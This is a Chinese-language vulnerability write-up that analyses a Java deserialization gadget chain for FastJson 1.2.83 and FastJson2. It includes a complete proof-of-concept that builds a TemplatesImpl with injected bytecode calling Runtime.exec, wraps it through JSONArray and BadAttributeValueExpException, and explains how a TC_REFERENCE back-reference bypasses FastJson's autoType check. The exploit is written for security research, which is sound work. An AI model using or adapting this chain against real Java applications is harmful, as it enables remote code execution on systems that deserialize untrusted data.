FastJson1&FastJson2反序列化利用链分析
字数 1426 2025-08-24 20:49:22
FastJson1 & FastJson2反序列化利用链分析
前言
本文分析FastJson1和FastJson2的反序列化利用链,与传统的FastJson漏洞不同,这里的利用链是通过Java原生反序列化机制结合FastJson特定函数调用关系实现的攻击方式。
漏洞环境
- FastJson 1.2.83
- FastJson 2.x
利用链分析
测试代码
public class FastJson2 {
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
// 装载Templates
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][]{code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
try {
Object o = ois.readObject();
} catch (Exception e) {
}
}
}
完整利用链
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at java.util.HashMap.readObject(HashMap.java:1404)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
关键点解析
-
BadAttributeValueExpException的作用:
- 通过其readObject方法调用JSONArray的toString方法
- 由于JSONArray本身没有toString方法,会调用父类JSON的toString方法
-
JSON的toString方法:
- 调用自身的toJSONString方法
- toJSONString方法能够调用任意类的getter方法,从而触发TemplatesImpl的getOutputProperties方法
-
ASM在FastJson中的应用:
- Fastjson使用ASM代替反射
- 通过ASM的ClassWriter生成JavaBeanSerializer的子类
- 重写write方法,为不同类生成独有的序列化工具类(如ASMSerializer_1_TemplatesImpl)
- 这些动态生成的类会调用getter方法获取类信息
ASMSerializer_1_TemplatesImpl关键代码
public class ASMSerializer_1_TemplatesImpl extends JavaBeanSerializer implements ObjectSerializer {
// 省略部分代码...
public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
// 省略部分代码...
TemplatesImpl templatesImpl = (TemplatesImpl)object;
// 调用getOutputProperties方法
Object object3 = templatesImpl.getOutputProperties();
// 调用getStylesheetDOM方法
object3 = templatesImpl.getStylesheetDOM();
// 调用getTransletIndex方法
int n3 = templatesImpl.getTransletIndex();
// 省略部分代码...
}
}
关于payload构造的特殊性
正确payload形式
hashMap.put(template, badAttributeValueExpException); // 正确形式
错误payload形式
hashMap.put([something], badAttributeValueExpException); // 错误形式
原因分析
-
错误形式的问题:
- 嵌套在JSONArray中的template对象无法被JSONObject#resolveClass正确解析
- 因为B类型(byte[]的序列化表示)在FastJson的checkAutoType中不存在
-
正确形式的工作原理:
- 外部的template对象通过ObjectInputStream#resolveClass直接解析
- 内部的template对象通过TC_REFERENCE引用已解析的外部template对象
- 这种引用机制绕过了类型检查
关键调试发现
-
resolveClass的差异:
- 外部template调用的是ObjectInputStream#resolveClass,直接使用Class.forName
- 内部template调用的是JSONObject#resolveClass,会进行checkAutoType检查
-
TC_REFERENCE的作用:
- 序列化数据中使用引用机制避免重复解析
- 正确payload中,内部template通过引用已解析的外部template对象绕过检查
总结
- 该利用链结合了Java原生反序列化和FastJson的特定功能
- 关键点在于BadAttributeValueExpException触发FastJson的toString/toJSONString调用链
- FastJson使用ASM动态生成序列化类,调用目标对象的getter方法
- payload构造必须使用
hashMap.put(template, badAttributeValueExpException)形式- 利用TC_REFERENCE机制绕过类型检查
- 其他形式会因为类型检查失败而无法执行